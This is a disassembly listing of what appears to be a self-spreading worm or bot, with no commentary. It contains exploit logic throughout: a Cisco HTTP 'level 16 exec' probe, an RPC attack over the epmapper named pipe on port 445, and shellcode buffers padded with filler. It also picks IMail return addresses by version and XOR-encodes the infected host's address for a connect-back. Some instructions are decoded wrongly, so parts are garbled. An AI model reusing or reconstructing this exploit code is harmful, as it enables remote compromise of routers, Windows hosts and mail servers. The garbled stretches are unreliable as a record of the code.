		cmp	eax, 0FFFFFFFFh
		jz	loc_40A951
		push	ebx
		push	offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd  HTTP/1.0\n\n"
		call	sub_41AC70
		pop	ecx
		push	eax
		push	offset aGetLevel16Ex_0 ; "GET /level/16/exec/-///pwd  HTTP/1.0\n\n"
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40A951
		mov	esi, 1000h
		lea	eax, [ebp-1210h]
		push	esi
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-1210h]
		push	ebx
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C


loc_40A899:				; DATA XREF: seg002:004460F4o
					; seg002:00446138o ...
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_40A951
		push	edi
		call	ds:dword_451588
		cmp	esi, 5
		jl	loc_40A951
		lea	eax, [ebp-1210h]
		push	offset aHttp1_0200Ok ; "HTTP/1.0 200 OK"
		push	eax
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A951
		lea	eax, [ebp-1210h]
		push	offset aCisco	; "cisco"
		push	eax
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A951
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset unk_444CD4
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41D360
		push	ebx
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-210h]
		push	eax
		call	sub_4161A7
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		push	1
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40A953
; ---------------------------------------------------------------------------


loc_40A951:				; CODE XREF: seg000:0040A804j
					; seg000:0040A84Cj ...
		xor	eax, eax


loc_40A953:				; CODE XREF: seg000:0040A94Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A958	proc near		; CODE XREF: seg000:0040AD39p
					; seg000:0040E6F0p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_445394
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4453A0 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_4E1F44
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_4F1370	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41ECF0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41ECF0
		mov	esi, [ebp+arg_4]
		add	esp, 10h
		lea	eax, [ebp+var_354]
		push	edi
		push	offset dword_4E1F48
		push	offset dword_4E1F4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	ds:dword_451590
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40AA1F
		cmp	eax, ebx
		jnz	short loc_40AA29


loc_40AA1F:				; CODE XREF: sub_40A958+C1j
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_451590


loc_40AA29:				; CODE XREF: sub_40A958+C5j
		cmp	eax, 5
		jz	short loc_40AA37
		cmp	eax, ebx
		jz	short loc_40AA37
		push	1
		pop	eax
		jmp	short loc_40AA39
; ---------------------------------------------------------------------------


loc_40AA37:				; CODE XREF: sub_40A958+D4j
					; sub_40A958+D8j
		xor	eax, eax


loc_40AA39:				; CODE XREF: sub_40A958+DDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A958	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA3E	proc near		; CODE XREF: seg000:0040AD8Bp
					; seg000:0040AE6Bp ...

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4453A8
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4453B4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_4E1F50
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_4F1370	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41ECF0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41ECF0
		add	esp, 10h


loc_40AACF:				; CODE XREF: sub_40AA3E+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	ds:dword_451430
		test	eax, eax
		jz	short loc_40AAEF
		push	7D0h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40AACF
; ---------------------------------------------------------------------------


loc_40AAEF:				; CODE XREF: sub_40AA3E+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40AA3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAF6	proc near		; CODE XREF: seg000:0040ADBAp
					; seg000:0040AEF8p

var_2000	= byte ptr -2000h
var_1FDC	= byte ptr -1FDCh
var_1FD0	= byte ptr -1FD0h
var_1F29	= byte ptr -1F29h
var_1000	= byte ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_FF0		= dword	ptr -0FF0h
var_F80		= dword	ptr -0F80h
var_F7C		= dword	ptr -0F7Ch
var_F4C		= dword	ptr -0F4Ch
var_F48		= dword	ptr -0F48h
var_F30		= dword	ptr -0F30h
var_E74		= dword	ptr -0E74h
var_CA0		= dword	ptr -0CA0h
var_C98		= dword	ptr -0C98h
var_C90		= byte ptr -0C90h
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		push	30h
		lea	eax, [ebp+var_2000]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		mov	edi, 0A7h
		call	sub_41E840
		push	edi
		lea	eax, [ebp+var_1FD0]
		push	0FFFFFF90h
		push	eax
		call	sub_41D100
		mov	ebx, (offset loc_445237+1)
		push	159h
		lea	eax, [ebp+var_1F29]
		push	ebx
		push	eax
		call	sub_41E840
		add	esp, 24h


loc_40AB47:				; CODE XREF: sub_40AAF6+9Bj
		push	30h
		lea	eax, [ebp+var_2000]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		inc	edi
		call	sub_41E840
		push	edi
		lea	eax, [ebp+var_1FD0]
		push	0FFFFFF90h
		push	eax
		call	sub_41D100
		push	159h
		lea	eax, [ebp+edi+var_1FD0]
		push	ebx
		push	eax
		call	sub_41E840
		add	esp, 24h
		lea	esi, [edi+189h]
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_40AB47
		cmp	[ebp+arg_C4], 0
		jz	short loc_40ABAE
		cmp	[ebp+arg_C0], 3
		jz	short loc_40ABB7
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40ABB5
; ---------------------------------------------------------------------------


loc_40ABAE:				; CODE XREF: sub_40AAF6+A4j
		cmp	[ebp+arg_C0], 3


loc_40ABB5:				; CODE XREF: sub_40AAF6+B6j
		jnz	short loc_40ABC0


loc_40ABB7:				; CODE XREF: sub_40AAF6+ADj
		push	4
		push	offset loc_445234
		jmp	short loc_40ABC7
; ---------------------------------------------------------------------------


loc_40ABC0:				; CODE XREF: sub_40AAF6:loc_40ABB5j
		push	4
		push	offset dword_445230


loc_40ABC7:				; CODE XREF: sub_40AAF6+C8j
		lea	eax, [ebp+var_1FDC]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		lea	eax, [ebp+var_1000]
		push	360h
		push	offset dword_444D68
		push	eax
		call	sub_41E840
		push	10h
		lea	eax, [ebp+var_CA0]
		push	offset dword_4450CC
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		lea	eax, [ebp+var_C90]
		push	eax
		call	sub_41E840
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4450E0
		lea	eax, [ebp+edi+var_1000]
		push	eax
		call	sub_41E840
		add	edi, 3Ch
		push	30h
		push	offset dword_445120
		lea	eax, [ebp+edi+var_1000]
		push	eax
		call	sub_41E840
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA0], eax
		add	[ebp+var_C98], eax
		mov	eax, [ebp+var_FF8]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_FF0]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F7C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F7C], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F48]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F48], eax
		mov	eax, [ebp+var_F30]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F30], eax
		mov	eax, [ebp+var_E74]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E74], eax
		call	sub_41AE40
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41D100
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	ebx
		call	sub_41E840
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAF6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_41DEB0
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40AE7F
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40A958
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AF8F
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-138h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-138h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_4F1380	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40AD96


loc_40AD87:				; CODE XREF: seg000:0040AE37j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40AA3E
		pop	ecx
		jmp	loc_40AF8F
; ---------------------------------------------------------------------------


loc_40AD96:				; CODE XREF: seg000:0040AD85j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_417569
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40AAF6
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40AE2E
		mov	edi, 186A0h
		push	edi
		call	sub_41AE40
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41D100
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_444D1C
		push	dword ptr [ebp-4]
		call	near ptr 3D0000h
		in	eax, dx
		cmp	byte ptr [esi+2], 0Ch
		jnz	short near ptr loc_40AE1B+3
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 3D0000h
		cmp	al, 85h


loc_40AE1B:				; CODE XREF: seg000:0040AE04j
		sal	byte ptr [ebp+1Eh], 56h
		call	sub_41B8B0
		push	dword ptr [ebp-8]
		call	sub_41B8B0
		pop	ecx
		pop	ecx


loc_40AE2E:				; CODE XREF: seg000:0040ADCAj
		push	dword ptr [ebp-4]
		call	ds:dword_4F12FC	; CloseHandle
		jmp	loc_40AD87
; ---------------------------------------------------------------------------
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_4F1374	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41B8B0
		push	esi
		call	sub_41B8B0
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_4F12FC	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40AA3E
		cmp	edi, 1
		pop	ecx
		jnz	loc_40AFA0
		jmp	loc_40AF8F
; ---------------------------------------------------------------------------


loc_40AE7F:				; CODE XREF: seg000:0040AD2Bj
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_417569
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40AF8F
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_451570
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40AF8F
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	ds:dword_4514F4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_451530
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40AAF6
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40AF11
		push	dword ptr [ebp-4]
		jmp	short loc_40AF89
; ---------------------------------------------------------------------------


loc_40AF11:				; CODE XREF: seg000:0040AF0Aj
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AF29


loc_40AF26:				; CODE XREF: seg000:0040AF3Bj
		push	esi
		jmp	short loc_40AF82
; ---------------------------------------------------------------------------


loc_40AF29:				; CODE XREF: seg000:0040AF24j
		push	ebx
		push	48h
		push	offset dword_444D1C
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AF26
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1138h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AF6A
		push	dword ptr [ebp-8]
		jmp	short loc_40AF82
; ---------------------------------------------------------------------------


loc_40AF6A:				; CODE XREF: seg000:0040AF63j
		push	ebx
		lea	eax, [ebp-1138h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AF93


loc_40AF82:				; CODE XREF: seg000:0040AF27j
					; seg000:0040AF68j
		call	sub_41B8B0
		pop	ecx
		push	edi


loc_40AF89:				; CODE XREF: seg000:0040AF0Fj
		call	ds:dword_451588


loc_40AF8F:				; CODE XREF: seg000:0040AD42j
					; seg000:0040AD91j ...
		xor	eax, eax
		jmp	short loc_40AFE7
; ---------------------------------------------------------------------------


loc_40AF93:				; CODE XREF: seg000:0040AF80j
		call	sub_41B8B0
		pop	ecx
		push	edi
		call	ds:dword_451588


loc_40AFA0:				; CODE XREF: seg000:0040AE74j
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	7C7h
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40AFE4
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]


loc_40AFE4:				; CODE XREF: seg000:0040AFCDj
		push	1
		pop	eax


loc_40AFE7:				; CODE XREF: seg000:0040AF91j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, 160h
		push	edi
		push	esi
		mov	dword ptr [ebp-4], 6741A1CDh
		call	sub_41AE40
		mov	edi, eax
		push	esi
		push	0
		push	edi
		call	sub_41D100
		push	12h
		push	offset dword_4453D0
		push	edi
		call	sub_41E840
		lea	esi, [edi+11h]
		push	offset loc_445524
		push	esi
		call	sub_41E560
		push	offset loc_445528
		push	esi
		call	sub_41E560
		mov	eax, [ebp-4]
		push	4
		not	eax
		mov	[ebp-4], eax
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	sub_41E710
		mov	ax, word ptr ds:dword_4E2638
		add	esp, 38h
		push	eax
		call	ds:dword_4514F4
		push	dword ptr [ebp+8]
		mov	[ebp-8], eax
		call	sub_402617
		pop	ecx
		push	eax
		call	ds:dword_451530
		xor	dword ptr [ebp-8], 9393h
		mov	[ebp-0Ch], eax
		xor	dword ptr [ebp-0Ch], 93939393h
		lea	eax, [ebp-8]
		push	2
		push	eax
		push	offset word_4453E6
		call	sub_41E840
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	offset dword_4453E8
		call	sub_41E840
		push	offset loc_4453E4
		push	esi
		call	sub_41E560
		add	esp, 20h
		push	6
		push	1
		push	2
		call	ds:dword_451570
		mov	esi, eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_451530
		push	1BBh
		mov	[ebp-18h], eax
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_4514F4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		test	eax, eax
		jnz	short loc_40B124
		push	eax
		push	15Fh
		push	edi
		push	esi
		call	ds:dword_451540
		push	esi
		call	ds:dword_451588
		push	edi
		call	sub_41B8B0
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		push	1
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40B126
; ---------------------------------------------------------------------------


loc_40B124:				; CODE XREF: seg000:0040B0ECj
		xor	eax, eax


loc_40B126:				; CODE XREF: seg000:0040B122j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-14h], 10h
		call	sub_41DBA0
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		lea	eax, [ebp+0Ch]
		push	eax
		mov	edi, edx
		add	edi, 7D0h
		mov	[ebp-20h], edi
		call	ds:dword_451574
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40B17D
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4F14F0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4E1F58, eax
		jz	loc_40B7F2


loc_40B17D:				; CODE XREF: seg000:0040B163j
		push	6
		push	1
		push	2
		pop	ebx
		push	ebx
		call	ds:dword_451570
		test	eax, eax
		mov	ds:dword_4E2060, eax
		jz	loc_40B7F2
		test	esi, esi
		jz	short loc_40B1B4
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		jmp	short loc_40B1BC
; ---------------------------------------------------------------------------


loc_40B1B4:				; CODE XREF: seg000:0040B19Aj
		mov	eax, ds:dword_4E1F58
		mov	[ebp-0Ch], eax


loc_40B1BC:				; CODE XREF: seg000:0040B1B2j
		test	esi, esi
		jz	short loc_40B1CA
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40B1CE
; ---------------------------------------------------------------------------


loc_40B1CA:				; CODE XREF: seg000:0040B1BEj
		mov	[ebp-10h], bx


loc_40B1CE:				; CODE XREF: seg000:0040B1C8j
		push	dword ptr [ebp+0A8h]
		call	ds:dword_4514F4
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_402617
		pop	ecx
		push	eax
		call	ds:dword_451530
		push	edi
		mov	esi, eax
		call	ds:dword_4514F4
		movzx	eax, ax
		xor	eax, 7C1Fh
		push	4
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-18h]
		xor	esi, 7C1F1AE0h
		push	eax
		push	offset dword_4455FC
		mov	[ebp-18h], esi
		call	sub_41E840
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		push	offset word_445602
		call	sub_41E840
		push	386h
		mov	edi, offset dword_4E2064
		push	90h
		push	edi
		call	sub_41D100
		push	0Ch
		push	offset loc_445534
		push	edi
		call	sub_41E840
		push	138h
		push	offset dword_445544
		push	offset dword_4E2110
		call	sub_41E840
		push	2Ah
		push	offset loc_44571C
		push	offset dword_4E2330
		call	sub_41E840
		add	esp, 48h
		push	0Bh
		push	offset dword_445748
		push	offset word_4E23EA
		call	sub_41E840
		add	esp, 0Ch
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	ds:dword_4E2060
		call	ds:dword_45149C
		test	eax, eax
		mov	ds:dword_4E1F5C, eax
		jnz	loc_40B7F2
		push	eax
		mov	esi, offset dword_4E1F60
		push	100h
		push	esi
		push	ds:dword_4E2060
		call	ds:dword_45150C
		push	offset aImail	; "IMail"
		push	esi
		mov	ds:dword_4E1F54, eax
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B6C3
		push	offset a7_04	; "7.04"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B30B
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset loc_445684


loc_40B301:				; CODE XREF: seg000:0040B333j
					; seg000:0040B36Ej ...
		push	offset dword_4E2320
		jmp	loc_40B62C
; ---------------------------------------------------------------------------


loc_40B30B:				; CODE XREF: seg000:0040B2E8j
		push	offset a7_05	; "7.05"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B335
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_44568C
		jmp	short loc_40B301
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: seg000:0040B31Aj
		push	offset a7_06	; "7.06"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B357
		push	offset a7_07	; "7.07"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B370


loc_40B357:				; CODE XREF: seg000:0040B344j
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset nullsub_2
		jmp	short loc_40B301
; ---------------------------------------------------------------------------


loc_40B370:				; CODE XREF: seg000:0040B355j
		push	offset a7_10	; "7.10"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B392
		push	offset a7_11	; "7.11"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3AE


loc_40B392:				; CODE XREF: seg000:0040B37Fj
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_44569C
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B3AE:				; CODE XREF: seg000:0040B390j
		push	offset a7_12	; "7.12"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3DB
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456A4
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B3DB:				; CODE XREF: seg000:0040B3BDj
		push	offset a7_13	; "7.13"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B3FD
		push	offset a7_14	; "7.14"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B419


loc_40B3FD:				; CODE XREF: seg000:0040B3EAj
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456AC
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B419:				; CODE XREF: seg000:0040B3FBj
		push	offset a7_15	; "7.15"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B446
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456B4
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B446:				; CODE XREF: seg000:0040B428j
		push	offset a8_00	; "8.00"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B473
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456BC
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B473:				; CODE XREF: seg000:0040B455j
		push	offset a8_01	; "8.01"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B4A0
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456C4
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: seg000:0040B482j
		push	offset a8_02	; "8.02"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B4CD
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456CC
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B4CD:				; CODE XREF: seg000:0040B4AFj
		push	offset a8_03	; "8.03"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B4FA
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456D4
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B4FA:				; CODE XREF: seg000:0040B4DCj
		push	offset a8_04	; "8.04"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B527
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456DC
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B527:				; CODE XREF: seg000:0040B509j
		push	offset a8_05	; "8.05"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B554
		push	ebx
		push	offset loc_445680
		push	offset word_4E231E
		call	sub_41E840
		push	4
		push	offset dword_4456E4
		jmp	loc_40B301
; ---------------------------------------------------------------------------


loc_40B554:				; CODE XREF: seg000:0040B536j
		push	offset a8_10	; "8.10"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B581
		push	ebx
		push	offset loc_445680
		push	offset word_4E2316
		call	sub_41E840
		push	4
		push	offset dword_4456EC
		jmp	loc_40B627
